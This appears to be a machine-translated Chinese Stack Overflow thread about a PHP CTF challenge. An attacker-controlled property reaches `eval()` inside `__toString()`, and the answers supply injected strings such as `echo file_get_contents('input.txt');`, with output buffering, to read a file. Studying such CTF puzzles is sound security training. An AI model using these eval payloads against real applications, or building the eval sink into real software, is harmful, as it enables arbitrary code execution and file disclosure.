在PHP中使用eval()实现__toString()

时间:2019-04-22 13:22:03

标签: php ctf

我正在寻找一种仅在PHP中使用eval来实现__toString方法的方法。最终目标是能够读取文件。请注意,这是CTF挑战的一部分,而不是实际应用。

我得到了以下实现

function __toString(){
     eval($this->var);
}

由于$ var在我的控制之下,因此我可以设置是否为我想要的任何值。 到目前为止,我已经尝试了以下方法,但均未成功:

$var = "return file_get_contents('file.txt');"

有任何提示吗?

更新: 相关代码如下:

class MyClass{
    private $var;
    function __toString(){
        if (isset($this->var) eval($this->var);
    }
}

2 个答案:

答案 0 :(得分:0)

如果您检查文档,则会看到function __toString()必须返回一个字符串。因此,无论您在__toString()方法内执行什么操作,只需确保您返回一个字符串即可。您已经提到这不是用于实际应用程序真是太好了。因为eval()可能非常危险,并且会产生意想不到的结果。

此外,如果va确实在您的控制之下,为什么不只执行以下操作...

$this->var = file_get_contents('file.txt');
//...
function __toString(){
     return $this->var;
}

一个最后的想法……如果您正在做$var = "return file_get_contents('file.txt');",那与做$this->var = "return file_get_contents('file.txt');"并不相同

答案 1 :(得分:0)

您可以echo$var

$var = "echo file_get_contents('input.txt');";

如果您不想在屏幕上打印任何内容而只获取文件内容,则可以使用输出缓冲。我使用了ob_start()ob_get_clean()

<?php

$var = "ob_start();echo file_get_contents('input.txt');";

eval($var);// your __toString() function call here.

$file_contents = ob_get_clean();

echo $file_contents;